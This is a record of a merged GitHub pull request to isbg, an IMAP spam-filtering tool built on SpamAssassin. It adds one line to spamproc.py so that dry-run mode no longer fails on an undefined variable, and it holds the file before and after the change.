{"repo": "isbg/isbg", "pr_number": 128, "title": "Fix #127 (dryrun failure)", "state": "closed", "merged_at": "2019-09-15T04:59:00Z", "additions": 2, "deletions": 0, "files_changed": ["isbg/spamproc.py"], "files_before": {"isbg/spamproc.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#  spamaproc.py\n#  This file is part of isbg.\n#\n#  Copyright 2018 Carles Mu\u00f1oz Gorriz <carlesmu@internautas.org>\n#\n#  This program is free software; you can redistribute it and/or modify\n#  it under the terms of the GNU General Public License as published by\n#  the Free Software Foundation; either version 3 of the License, or\n#  (at your option) any later version.\n#\n#  This program is distributed in the hope that it will be useful,\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#  GNU General Public License for more details.\n#\n#  You should have received a copy of the GNU General Public License\n#  along with this program; if not, write to the Free Software\n#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n#  MA 02110-1301, USA.\n\n\"\"\"Spam processing module for isbg.\"\"\"\n# pylint: disable=no-member\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport isbg\n\nfrom isbg import imaputils\nfrom isbg import sa_unwrap\nfrom isbg import utils\n\nfrom .utils import __\n\nimport logging\n\n#: Used to detect already our successfully (un)learned messages.\n__spamc_msg__ = {\n    'already': 'Message was already un/learned',\n    'success': 'Message successfully un/learned'\n}\n\n\ndef learn_mail(mail, learn_type):\n    \"\"\"Process a email and try to learn or unlearn it.\n\n    Args:\n        mail (email.message.Message): email to learn.\n        learn_type (str): ```spam``` to learn spam, ```ham``` to learn\n            nonspam or ```forget```.\n    Returns:\n        int, int: It returns a pair of `int`\n\n        The first integer:\n            A return code of ``6`` means it was already learned or forgotten,\n            a return code of ``5`` means it has been learned or forgotten,\n            a ``-9999`` means an error communicating with ``spamc``. If\n            ``spamc`` returns an exit code, it returns it.\n\n        The second integer:\n            It's the original exit code from ``spamc``\n\n    Notes:\n        See `Exit Codes` section of the man page of ``spamc`` for more\n        information about other exit codes.\n\n    \"\"\"\n    out = \"\"\n    orig_code = None\n    proc = utils.popen([\"spamc\", \"--learntype=\" + learn_type])\n    try:\n        out = proc.communicate(imaputils.mail_content(mail))\n        code = int(proc.returncode)\n        orig_code = code\n    except Exception:  # pylint: disable=broad-except\n        code = -9999\n\n    proc.stdin.close()\n\n    if code == 0:\n        out = out[0].decode(errors='ignore').strip()\n        if out == __spamc_msg__['already']:\n            code = 6\n        elif out == __spamc_msg__['success']:\n            code = 5\n\n    return code, orig_code\n\n\ndef test_mail(mail, spamc=False, cmd=False):\n    \"\"\"Test a email with spamassassin.\"\"\"\n    score = \"0/0\\n\"\n    orig_code = None\n    spamassassin_result = None\n    returncode = None\n\n    if cmd:\n        satest = cmd\n    elif spamc:\n        # let spamc process mails larger than 500 KB if ISBG forwards them\n        satest = [\"spamc\", \"-E\", \"--max-size=268435450\"]\n    else:\n        satest = [\"spamassassin\", \"--exit-code\"]\n\n    proc = utils.popen(satest)\n\n    try:\n        spamassassin_result = proc.communicate(imaputils.mail_content(mail))[0]\n        returncode = proc.returncode\n        proc.stdin.close()\n        score = utils.score_from_mail(spamassassin_result.decode(errors='ignore'))\n\n    except Exception:  # pylint: disable=broad-except\n        score = \"-9999\"\n\n    return score, returncode, spamassassin_result\n\n\nclass Sa_Learn(object):\n    \"\"\"Commodity class to store information about learning processes.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize `SA_Learn`.\"\"\"\n        self.tolearn = 0         #: Number of messages to learn.\n        self.learned = 0         #: Number of messages learned.\n        self.uids = []           #: The list of ``uids``.\n        self.newpastuids = []    #: The new past ``uids``.\n\n\nclass Sa_Process(object):\n    \"\"\"Commodity class to store information about processes.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize `SA_Process`.\"\"\"\n        self.nummsg = 0          #: Number of processed messages.\n        self.numspam = 0         #: Number of spams found.\n        self.spamdeleted = 0     #: Number of deleted spam.\n        self.uids = []           #: The list of ``uids``.\n        self.newpastuids = []    #: The new past ``uids``.\n\n\nclass SpamAssassin(object):\n    \"\"\"Learn and process spams from a imap account.\n\n    You usually will create an instance of it using\n    :py:func:`create_from_isbg`:\n\n        >>> sa = isbg.spamproc.SpamAssassin.create_from_isbg(self)\n\n    Or, if you are extending :py:class:`~isbg.ISBG`, it is created every\n    time that you call to :py:func:`isbg.ISBG.do_spamassassin`.\n\n    \"\"\"\n\n    #: key args required when initialized.\n    _required_kwargs = []\n\n    #: Key args that will be used.\n    _kwargs = ['imap', 'spamc', 'logger', 'partialrun', 'dryrun',\n               'learnthendestroy', 'gmail', 'learnthenflag', 'learnunflagged',\n               'learnflagged', 'deletehigherthan', 'imapsets', 'maxsize',\n               'noreport', 'spamflags', 'delete', 'expunge']\n\n    def __init__(self, **kwargs):\n        \"\"\"Initialize a SpamAssassin object.\"\"\"\n        for k in self._required_kwargs:\n            if k not in kwargs:\n                raise TypeError(\"Missed required keyword argument: {}\".format(\n                                k))\n\n        for k in self._kwargs:\n            setattr(self, k, None)\n\n        for k in kwargs:\n            if k not in self._kwargs:\n                raise TypeError(\"Unknown keyword argument: {}\".format(k))\n            setattr(self, k, kwargs[k])\n\n        # pylint: disable=access-member-before-definition\n        if self.logger is None:\n            self.logger = logging.getLogger(__name__)\n            self.logger.addHandler(logging.StreamHandler())\n\n        # what we use to set flags on the original spam in imapbox\n        self.spamflagscmd = \"+FLAGS.SILENT\"\n\n    @property\n    def cmd_save(self):\n        \"\"\"Is the command that dumps out a munged message including report.\"\"\"\n        if self.spamc:  # pylint: disable=no-member\n            return [\"spamc\"]\n        return [\"spamassassin\"]\n\n    @property\n    def cmd_test(self):\n        \"\"\"Is the command to use to test if the message is spam.\"\"\"\n        if self.spamc:  # pylint: disable=no-member\n            return [\"spamc\", \"-E\", \"--max-size=268435450\"]\n        return [\"spamassassin\", \"--exit-code\"]\n\n    @classmethod\n    def create_from_isbg(cls, sbg):\n        \"\"\"Return a instance with the required args from ```ISBG```.\n\n        Args:\n            sbg (isbg.ISBG): His attributes will be used to initialize a\n                SpamAssassin instance.\n        Returns:\n            SpamAssassin: A new created object with the required attributes\n                based based `sbg` attributes.\n\n        \"\"\"\n        kw = dict()\n        for k in cls._kwargs:\n            kw[k] = getattr(sbg, k)\n        return SpamAssassin(**kw)\n\n    @staticmethod\n    def get_formated_uids(uids, origpastuids, partialrun):\n        \"\"\"Get the uids formated.\n\n        Args:\n            uids (list(str)): The new ``uids``. It's formated as:\n                ```['1 2 3 4']```\n            origpastuids (list(int)): The original past ``uids``.\n            partialrun (int): If not none the number of ``uids`` to return.\n        Returns:\n            list(str): The ``uids`` formated.\n\n            It sorts the uids, remove those that are in `origpastuids` and\n            returns the number defined by `partialrun`. If `partialrun` is\n            ```None``` it return all.\n\n        \"\"\"\n        uids = sorted(uids[0].split(), key=int, reverse=True)\n        newpastuids = [u for u in origpastuids if str(u) in uids]\n        uids = [u for u in uids if int(u) not in newpastuids]\n        # Take only X elements if partialrun is enabled\n        if partialrun:\n            uids = uids[:int(partialrun)]\n        return uids, newpastuids\n\n    def learn(self, folder, learn_type, move_to, origpastuids):\n        \"\"\"Learn the spams (and if requested deleted or move them).\n\n        Args:\n            folder (str): The IMAP folder.\n            leart_type (str): ```spam``` to learn spam, ```ham``` to learn\n                nonspam.\n            move_to (str): If not ```None```, the imap folder where the emails\n                will be moved.\n            origpastuids (list(int)): ``uids`` to not process.\n        Returns:\n            Sa_Learn:\n                It contains the information about the result of the process.\n\n            It will call ``spamc`` to learn the emails.\n\n        Raises:\n            isbg.ISBGError: if learn_type is unknown.\n\n\n        TODO:\n            Add suport to ``learn_type=forget``.\n\n        \"\"\"\n        sa_learning = Sa_Learn()\n\n        # Sanity checks:\n        if learn_type not in ['spam', 'ham']:\n            raise isbg.ISBGError(-1, message=\"Unknown learn_type\")\n        if self.imap is None:\n            raise isbg.ISBGError(-1, message=\"Imap is required\")\n\n        self.logger.debug(__(\n            \"Teach {} to SA from: {}\".format(learn_type, folder)))\n\n        self.imap.select(folder)\n        if self.learnunflagged:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"UNFLAGGED\")\n        elif self.learnflagged:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"(FLAGGED)\")\n        else:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"ALL\")\n\n        uids, sa_learning.newpastuids = SpamAssassin.get_formated_uids(\n            uids, origpastuids, self.partialrun)\n\n        sa_learning.tolearn = len(uids)\n\n        for uid in uids:\n            mail = imaputils.get_message(self.imap, uid, logger=self.logger)\n\n            # Unwrap spamassassin reports\n            unwrapped = sa_unwrap.unwrap(mail)\n            if unwrapped is not None:\n                self.logger.debug(__(\"{} Unwrapped: {}\".format(\n                    uid, utils.shorten(imaputils.mail_content(\n                        unwrapped[0]), 140))))\n\n            if unwrapped is not None and unwrapped:  # len(unwrapped)>0\n                mail = unwrapped[0]\n\n            if self.dryrun:\n                self.logger.warning(\"Skipped learning due to dryrun!\")\n                continue\n            else:\n                code, code_orig = learn_mail(mail, learn_type)\n\n            if code == -9999:  # error processing email, try next.\n                self.logger.exception(__(\n                    'spamc error for mail {}'.format(uid)))\n                self.logger.debug(repr(imaputils.mail_content(mail)))\n                continue\n\n            if code in [69, 74]:\n                raise isbg.ISBGError(\n                    isbg.__exitcodes__['flags'],\n                    \"spamassassin is misconfigured (use --allow-tell)\")\n\n            if code == 5:  # learned.\n                sa_learning.learned += 1\n                self.logger.debug(__(\n                    \"Learned {} (spamc return code {})\".format(uid,\n                                                               code_orig)))\n\n            elif code == 6:  # already learned.\n                self.logger.debug(__(\n                    \"Already learned {} (spamc return code {})\".format(\n                        uid, code_orig)))\n\n            elif code == 98:  # too big.\n                self.logger.warning(__(\n                    \"{} is too big (spamc return code {})\".format(\n                        uid, code_orig)))\n\n            else:\n                raise isbg.ISBGError(-1, (\"{}: Unknown return code {} from \" +\n                                          \"spamc\").format(uid, code_orig))\n\n            sa_learning.uids.append(int(uid))\n\n            if not self.dryrun:\n                if self.learnthendestroy:\n                    if self.gmail:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                    else:\n                        self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                      \"(\\\\Deleted)\")\n                elif move_to is not None:\n                    self.imap.uid(\"COPY\", uid, move_to)\n                elif self.learnthenflag:\n                    self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                  \"(\\\\Flagged)\")\n\n        return sa_learning\n\n    def _process_spam(self, uid, score, mail, spamdeletelist, code, spamassassin_result):\n        self.logger.debug(__(\"{} is spam\".format(uid)))\n\n        if (self.deletehigherthan is not None and\n                float(score.split('/')[0]) > self.deletehigherthan):\n            spamdeletelist.append(uid)\n            return False\n\n        # do we want to include the spam report\n        if self.noreport is False:\n            if self.dryrun:\n                self.logger.info(\"Skipping report because of --dryrun\")\n            else:\n                new_mail = spamassassin_result\n                if new_mail == u\"-9999\":\n                    self.logger.exception(\n                        '{} error for mail {} (ret code {})'.format(\n                            self.cmd_save, uid, code))\n                    self.logger.debug(repr(imaputils.mail_content(mail)))\n                    if uid in spamdeletelist:\n                        spamdeletelist.remove(uid)\n                    return False\n\n                res = self.imap.append(self.imapsets.spaminbox, None, None,\n                                       new_mail)\n                # The above will fail on some IMAP servers for various\n                # reasons. We print out what happened and continue\n                # processing\n                if res[0] != 'OK':\n                    self.logger.error(__(\n                        (\"{} failed for uid {}: {}. Leaving original\" +\n                         \"message alone.\").format(\n                            repr([\"append\", self.imapsets.spaminbox,\n                                  \"{email}\"]),\n                            repr(uid), repr(res))))\n                    if uid in spamdeletelist:\n                        spamdeletelist.remove(uid)\n                    return False\n        else:\n            # No report:\n            if self.dryrun:\n                self.logger.info(\"Skipping copy to spambox because\" +\n                                 \" of --dryrun\")\n            else:\n                # just copy it as is\n                self.imap.uid(\"COPY\", uid, self.imapsets.spaminbox)\n\n        return True\n\n    def process_inbox(self, origpastuids):\n        \"\"\"Run spamassassin in the folder for spam.\"\"\"\n        sa_proc = Sa_Process()\n\n        spamlist = []\n        spamdeletelist = []\n\n        # select inbox\n        self.imap.select(self.imapsets.inbox, 1)\n\n        # get the uids of all mails with a size less then the maxsize\n        _, uids = self.imap.uid(\"SEARCH\", None, \"SMALLER\", str(self.maxsize))\n\n        uids, sa_proc.newpastuids = SpamAssassin.get_formated_uids(\n            uids, origpastuids, self.partialrun)\n\n        self.logger.debug(__('Got {} mails to check'.format(len(uids))))\n\n        if self.dryrun:\n            processednum = 0\n            fakespammax = 1\n            processmax = 5\n\n        # Main loop that iterates over each new uid we haven't seen before\n        for uid in uids:\n            # Retrieve the entire message\n            mail = imaputils.get_message(self.imap, uid, sa_proc.uids,\n                                         logger=self.logger)\n\n            # Unwrap spamassassin reports\n            unwrapped = sa_unwrap.unwrap(mail)\n            if unwrapped is not None and unwrapped:  # len(unwrapped) > 0\n                mail = unwrapped[0]\n\n            # Feed it to SpamAssassin in test mode\n            if self.dryrun:\n                if processednum > processmax:\n                    break\n                if processednum < fakespammax:\n                    self.logger.info(\"Faking spam mail\")\n                    score = \"10/10\"\n                    code = 1\n                else:\n                    self.logger.info(\"Faking ham mail\")\n                    score = \"0/10\"\n                    code = 0\n                processednum = processednum + 1\n            else:\n                score, code, spamassassin_result = test_mail(mail, cmd=self.cmd_test)\n                if score == \"-9999\":\n                    self.logger.exception(__(\n                        '{} error for mail {}'.format(self.cmd_test, uid)))\n                    self.logger.debug(repr(mail))\n                    uids.remove(uid)\n                    continue\n\n            if score == \"0/0\\n\":\n                raise isbg.ISBGError(isbg.__exitcodes__['spamc'],\n                                     \"spamc -> spamd error - aborting\")\n\n            self.logger.debug(__(\n                \"Score for uid {}: {}\".format(uid, score.strip())))\n\n            if code != 0:\n                # Message is spam, delete it or move it to spaminbox\n                # (optionally with report)\n                if not self._process_spam(uid, score, mail, spamdeletelist, code, spamassassin_result):\n                    continue\n                spamlist.append(uid)\n\n        sa_proc.nummsg = len(uids)\n        sa_proc.spamdeleted = len(spamdeletelist)\n        sa_proc.numspam = len(spamlist) + sa_proc.spamdeleted\n\n        # If we found any spams, now go and mark the original messages\n        if sa_proc.numspam or sa_proc.spamdeleted:\n            if self.dryrun:\n                self.logger.info('Skipping labelling/expunging of mails ' +\n                                 ' because of --dryrun')\n            else:\n                self.imap.select(self.imapsets.inbox)\n                # Only set message flags if there are any\n                if self.spamflags:  # len(self.smpamflgs) > 0\n                    for uid in spamlist:\n                        self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                      imaputils.imapflags(self.spamflags))\n                        sa_proc.newpastuids.append(uid)\n                # If its gmail, and --delete was passed, we actually copy!\n                if self.delete and self.gmail:\n                    for uid in spamlist:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                # Set deleted flag for spam with high score\n                for uid in spamdeletelist:\n                    if self.gmail is True:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                    else:\n                        self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                      \"(\\\\Deleted)\")\n                if self.expunge:\n                    self.imap.expunge()\n\n        return sa_proc\n"}, "files_after": {"isbg/spamproc.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#  spamaproc.py\n#  This file is part of isbg.\n#\n#  Copyright 2018 Carles Mu\u00f1oz Gorriz <carlesmu@internautas.org>\n#\n#  This program is free software; you can redistribute it and/or modify\n#  it under the terms of the GNU General Public License as published by\n#  the Free Software Foundation; either version 3 of the License, or\n#  (at your option) any later version.\n#\n#  This program is distributed in the hope that it will be useful,\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#  GNU General Public License for more details.\n#\n#  You should have received a copy of the GNU General Public License\n#  along with this program; if not, write to the Free Software\n#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n#  MA 02110-1301, USA.\n\n\"\"\"Spam processing module for isbg.\"\"\"\n# pylint: disable=no-member\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport isbg\n\nfrom isbg import imaputils\nfrom isbg import sa_unwrap\nfrom isbg import utils\n\nfrom .utils import __\n\nimport logging\n\n#: Used to detect already our successfully (un)learned messages.\n__spamc_msg__ = {\n    'already': 'Message was already un/learned',\n    'success': 'Message successfully un/learned'\n}\n\n\ndef learn_mail(mail, learn_type):\n    \"\"\"Process a email and try to learn or unlearn it.\n\n    Args:\n        mail (email.message.Message): email to learn.\n        learn_type (str): ```spam``` to learn spam, ```ham``` to learn\n            nonspam or ```forget```.\n    Returns:\n        int, int: It returns a pair of `int`\n\n        The first integer:\n            A return code of ``6`` means it was already learned or forgotten,\n            a return code of ``5`` means it has been learned or forgotten,\n            a ``-9999`` means an error communicating with ``spamc``. If\n            ``spamc`` returns an exit code, it returns it.\n\n        The second integer:\n            It's the original exit code from ``spamc``\n\n    Notes:\n        See `Exit Codes` section of the man page of ``spamc`` for more\n        information about other exit codes.\n\n    \"\"\"\n    out = \"\"\n    orig_code = None\n    proc = utils.popen([\"spamc\", \"--learntype=\" + learn_type])\n    try:\n        out = proc.communicate(imaputils.mail_content(mail))\n        code = int(proc.returncode)\n        orig_code = code\n    except Exception:  # pylint: disable=broad-except\n        code = -9999\n\n    proc.stdin.close()\n\n    if code == 0:\n        out = out[0].decode(errors='ignore').strip()\n        if out == __spamc_msg__['already']:\n            code = 6\n        elif out == __spamc_msg__['success']:\n            code = 5\n\n    return code, orig_code\n\n\ndef test_mail(mail, spamc=False, cmd=False):\n    \"\"\"Test a email with spamassassin.\"\"\"\n    score = \"0/0\\n\"\n    orig_code = None\n    spamassassin_result = None\n    returncode = None\n\n    if cmd:\n        satest = cmd\n    elif spamc:\n        # let spamc process mails larger than 500 KB if ISBG forwards them\n        satest = [\"spamc\", \"-E\", \"--max-size=268435450\"]\n    else:\n        satest = [\"spamassassin\", \"--exit-code\"]\n\n    proc = utils.popen(satest)\n\n    try:\n        spamassassin_result = proc.communicate(imaputils.mail_content(mail))[0]\n        returncode = proc.returncode\n        proc.stdin.close()\n        score = utils.score_from_mail(spamassassin_result.decode(errors='ignore'))\n\n    except Exception:  # pylint: disable=broad-except\n        score = \"-9999\"\n\n    return score, returncode, spamassassin_result\n\n\nclass Sa_Learn(object):\n    \"\"\"Commodity class to store information about learning processes.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize `SA_Learn`.\"\"\"\n        self.tolearn = 0         #: Number of messages to learn.\n        self.learned = 0         #: Number of messages learned.\n        self.uids = []           #: The list of ``uids``.\n        self.newpastuids = []    #: The new past ``uids``.\n\n\nclass Sa_Process(object):\n    \"\"\"Commodity class to store information about processes.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize `SA_Process`.\"\"\"\n        self.nummsg = 0          #: Number of processed messages.\n        self.numspam = 0         #: Number of spams found.\n        self.spamdeleted = 0     #: Number of deleted spam.\n        self.uids = []           #: The list of ``uids``.\n        self.newpastuids = []    #: The new past ``uids``.\n\n\nclass SpamAssassin(object):\n    \"\"\"Learn and process spams from a imap account.\n\n    You usually will create an instance of it using\n    :py:func:`create_from_isbg`:\n\n        >>> sa = isbg.spamproc.SpamAssassin.create_from_isbg(self)\n\n    Or, if you are extending :py:class:`~isbg.ISBG`, it is created every\n    time that you call to :py:func:`isbg.ISBG.do_spamassassin`.\n\n    \"\"\"\n\n    #: key args required when initialized.\n    _required_kwargs = []\n\n    #: Key args that will be used.\n    _kwargs = ['imap', 'spamc', 'logger', 'partialrun', 'dryrun',\n               'learnthendestroy', 'gmail', 'learnthenflag', 'learnunflagged',\n               'learnflagged', 'deletehigherthan', 'imapsets', 'maxsize',\n               'noreport', 'spamflags', 'delete', 'expunge']\n\n    def __init__(self, **kwargs):\n        \"\"\"Initialize a SpamAssassin object.\"\"\"\n        for k in self._required_kwargs:\n            if k not in kwargs:\n                raise TypeError(\"Missed required keyword argument: {}\".format(\n                                k))\n\n        for k in self._kwargs:\n            setattr(self, k, None)\n\n        for k in kwargs:\n            if k not in self._kwargs:\n                raise TypeError(\"Unknown keyword argument: {}\".format(k))\n            setattr(self, k, kwargs[k])\n\n        # pylint: disable=access-member-before-definition\n        if self.logger is None:\n            self.logger = logging.getLogger(__name__)\n            self.logger.addHandler(logging.StreamHandler())\n\n        # what we use to set flags on the original spam in imapbox\n        self.spamflagscmd = \"+FLAGS.SILENT\"\n\n    @property\n    def cmd_save(self):\n        \"\"\"Is the command that dumps out a munged message including report.\"\"\"\n        if self.spamc:  # pylint: disable=no-member\n            return [\"spamc\"]\n        return [\"spamassassin\"]\n\n    @property\n    def cmd_test(self):\n        \"\"\"Is the command to use to test if the message is spam.\"\"\"\n        if self.spamc:  # pylint: disable=no-member\n            return [\"spamc\", \"-E\", \"--max-size=268435450\"]\n        return [\"spamassassin\", \"--exit-code\"]\n\n    @classmethod\n    def create_from_isbg(cls, sbg):\n        \"\"\"Return a instance with the required args from ```ISBG```.\n\n        Args:\n            sbg (isbg.ISBG): His attributes will be used to initialize a\n                SpamAssassin instance.\n        Returns:\n            SpamAssassin: A new created object with the required attributes\n                based based `sbg` attributes.\n\n        \"\"\"\n        kw = dict()\n        for k in cls._kwargs:\n            kw[k] = getattr(sbg, k)\n        return SpamAssassin(**kw)\n\n    @staticmethod\n    def get_formated_uids(uids, origpastuids, partialrun):\n        \"\"\"Get the uids formated.\n\n        Args:\n            uids (list(str)): The new ``uids``. It's formated as:\n                ```['1 2 3 4']```\n            origpastuids (list(int)): The original past ``uids``.\n            partialrun (int): If not none the number of ``uids`` to return.\n        Returns:\n            list(str): The ``uids`` formated.\n\n            It sorts the uids, remove those that are in `origpastuids` and\n            returns the number defined by `partialrun`. If `partialrun` is\n            ```None``` it return all.\n\n        \"\"\"\n        uids = sorted(uids[0].split(), key=int, reverse=True)\n        newpastuids = [u for u in origpastuids if str(u) in uids]\n        uids = [u for u in uids if int(u) not in newpastuids]\n        # Take only X elements if partialrun is enabled\n        if partialrun:\n            uids = uids[:int(partialrun)]\n        return uids, newpastuids\n\n    def learn(self, folder, learn_type, move_to, origpastuids):\n        \"\"\"Learn the spams (and if requested deleted or move them).\n\n        Args:\n            folder (str): The IMAP folder.\n            leart_type (str): ```spam``` to learn spam, ```ham``` to learn\n                nonspam.\n            move_to (str): If not ```None```, the imap folder where the emails\n                will be moved.\n            origpastuids (list(int)): ``uids`` to not process.\n        Returns:\n            Sa_Learn:\n                It contains the information about the result of the process.\n\n            It will call ``spamc`` to learn the emails.\n\n        Raises:\n            isbg.ISBGError: if learn_type is unknown.\n\n\n        TODO:\n            Add suport to ``learn_type=forget``.\n\n        \"\"\"\n        sa_learning = Sa_Learn()\n\n        # Sanity checks:\n        if learn_type not in ['spam', 'ham']:\n            raise isbg.ISBGError(-1, message=\"Unknown learn_type\")\n        if self.imap is None:\n            raise isbg.ISBGError(-1, message=\"Imap is required\")\n\n        self.logger.debug(__(\n            \"Teach {} to SA from: {}\".format(learn_type, folder)))\n\n        self.imap.select(folder)\n        if self.learnunflagged:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"UNFLAGGED\")\n        elif self.learnflagged:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"(FLAGGED)\")\n        else:\n            _, uids = self.imap.uid(\"SEARCH\", None, \"ALL\")\n\n        uids, sa_learning.newpastuids = SpamAssassin.get_formated_uids(\n            uids, origpastuids, self.partialrun)\n\n        sa_learning.tolearn = len(uids)\n\n        for uid in uids:\n            mail = imaputils.get_message(self.imap, uid, logger=self.logger)\n\n            # Unwrap spamassassin reports\n            unwrapped = sa_unwrap.unwrap(mail)\n            if unwrapped is not None:\n                self.logger.debug(__(\"{} Unwrapped: {}\".format(\n                    uid, utils.shorten(imaputils.mail_content(\n                        unwrapped[0]), 140))))\n\n            if unwrapped is not None and unwrapped:  # len(unwrapped)>0\n                mail = unwrapped[0]\n\n            if self.dryrun:\n                self.logger.warning(\"Skipped learning due to dryrun!\")\n                continue\n            else:\n                code, code_orig = learn_mail(mail, learn_type)\n\n            if code == -9999:  # error processing email, try next.\n                self.logger.exception(__(\n                    'spamc error for mail {}'.format(uid)))\n                self.logger.debug(repr(imaputils.mail_content(mail)))\n                continue\n\n            if code in [69, 74]:\n                raise isbg.ISBGError(\n                    isbg.__exitcodes__['flags'],\n                    \"spamassassin is misconfigured (use --allow-tell)\")\n\n            if code == 5:  # learned.\n                sa_learning.learned += 1\n                self.logger.debug(__(\n                    \"Learned {} (spamc return code {})\".format(uid,\n                                                               code_orig)))\n\n            elif code == 6:  # already learned.\n                self.logger.debug(__(\n                    \"Already learned {} (spamc return code {})\".format(\n                        uid, code_orig)))\n\n            elif code == 98:  # too big.\n                self.logger.warning(__(\n                    \"{} is too big (spamc return code {})\".format(\n                        uid, code_orig)))\n\n            else:\n                raise isbg.ISBGError(-1, (\"{}: Unknown return code {} from \" +\n                                          \"spamc\").format(uid, code_orig))\n\n            sa_learning.uids.append(int(uid))\n\n            if not self.dryrun:\n                if self.learnthendestroy:\n                    if self.gmail:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                    else:\n                        self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                      \"(\\\\Deleted)\")\n                elif move_to is not None:\n                    self.imap.uid(\"COPY\", uid, move_to)\n                elif self.learnthenflag:\n                    self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                  \"(\\\\Flagged)\")\n\n        return sa_learning\n\n    def _process_spam(self, uid, score, mail, spamdeletelist, code, spamassassin_result):\n        self.logger.debug(__(\"{} is spam\".format(uid)))\n\n        if (self.deletehigherthan is not None and\n                float(score.split('/')[0]) > self.deletehigherthan):\n            spamdeletelist.append(uid)\n            return False\n\n        # do we want to include the spam report\n        if self.noreport is False:\n            if self.dryrun:\n                self.logger.info(\"Skipping report because of --dryrun\")\n            else:\n                new_mail = spamassassin_result\n                if new_mail == u\"-9999\":\n                    self.logger.exception(\n                        '{} error for mail {} (ret code {})'.format(\n                            self.cmd_save, uid, code))\n                    self.logger.debug(repr(imaputils.mail_content(mail)))\n                    if uid in spamdeletelist:\n                        spamdeletelist.remove(uid)\n                    return False\n\n                res = self.imap.append(self.imapsets.spaminbox, None, None,\n                                       new_mail)\n                # The above will fail on some IMAP servers for various\n                # reasons. We print out what happened and continue\n                # processing\n                if res[0] != 'OK':\n                    self.logger.error(__(\n                        (\"{} failed for uid {}: {}. Leaving original\" +\n                         \"message alone.\").format(\n                            repr([\"append\", self.imapsets.spaminbox,\n                                  \"{email}\"]),\n                            repr(uid), repr(res))))\n                    if uid in spamdeletelist:\n                        spamdeletelist.remove(uid)\n                    return False\n        else:\n            # No report:\n            if self.dryrun:\n                self.logger.info(\"Skipping copy to spambox because\" +\n                                 \" of --dryrun\")\n            else:\n                # just copy it as is\n                self.imap.uid(\"COPY\", uid, self.imapsets.spaminbox)\n\n        return True\n\n    def process_inbox(self, origpastuids):\n        \"\"\"Run spamassassin in the folder for spam.\"\"\"\n        sa_proc = Sa_Process()\n\n        spamlist = []\n        spamdeletelist = []\n\n        # select inbox\n        self.imap.select(self.imapsets.inbox, 1)\n\n        # get the uids of all mails with a size less then the maxsize\n        _, uids = self.imap.uid(\"SEARCH\", None, \"SMALLER\", str(self.maxsize))\n\n        uids, sa_proc.newpastuids = SpamAssassin.get_formated_uids(\n            uids, origpastuids, self.partialrun)\n\n        self.logger.debug(__('Got {} mails to check'.format(len(uids))))\n\n        if self.dryrun:\n            processednum = 0\n            fakespammax = 1\n            processmax = 5\n\n        # Main loop that iterates over each new uid we haven't seen before\n        for uid in uids:\n            # Retrieve the entire message\n            mail = imaputils.get_message(self.imap, uid, sa_proc.uids,\n                                         logger=self.logger)\n\n            # Unwrap spamassassin reports\n            unwrapped = sa_unwrap.unwrap(mail)\n            if unwrapped is not None and unwrapped:  # len(unwrapped) > 0\n                mail = unwrapped[0]\n\n            # Feed it to SpamAssassin in test mode\n            if self.dryrun:\n                if processednum > processmax:\n                    break\n                if processednum < fakespammax:\n                    self.logger.info(\"Faking spam mail\")\n                    score = \"10/10\"\n                    code = 1\n                else:\n                    self.logger.info(\"Faking ham mail\")\n                    score = \"0/10\"\n                    code = 0\n                processednum = processednum + 1\n                spamassassin_result = None  # since dryrun doesn't run\n                                            # test_mail()\n            else:\n                score, code, spamassassin_result = test_mail(mail, cmd=self.cmd_test)\n                if score == \"-9999\":\n                    self.logger.exception(__(\n                        '{} error for mail {}'.format(self.cmd_test, uid)))\n                    self.logger.debug(repr(mail))\n                    uids.remove(uid)\n                    continue\n\n            if score == \"0/0\\n\":\n                raise isbg.ISBGError(isbg.__exitcodes__['spamc'],\n                                     \"spamc -> spamd error - aborting\")\n\n            self.logger.debug(__(\n                \"Score for uid {}: {}\".format(uid, score.strip())))\n\n            if code != 0:\n                # Message is spam, delete it or move it to spaminbox\n                # (optionally with report)\n                if not self._process_spam(uid, score, mail, spamdeletelist, code, spamassassin_result):\n                    continue\n                spamlist.append(uid)\n\n        sa_proc.nummsg = len(uids)\n        sa_proc.spamdeleted = len(spamdeletelist)\n        sa_proc.numspam = len(spamlist) + sa_proc.spamdeleted\n\n        # If we found any spams, now go and mark the original messages\n        if sa_proc.numspam or sa_proc.spamdeleted:\n            if self.dryrun:\n                self.logger.info('Skipping labelling/expunging of mails ' +\n                                 ' because of --dryrun')\n            else:\n                self.imap.select(self.imapsets.inbox)\n                # Only set message flags if there are any\n                if self.spamflags:  # len(self.smpamflgs) > 0\n                    for uid in spamlist:\n                        self.imap.uid(\"STORE\", uid, 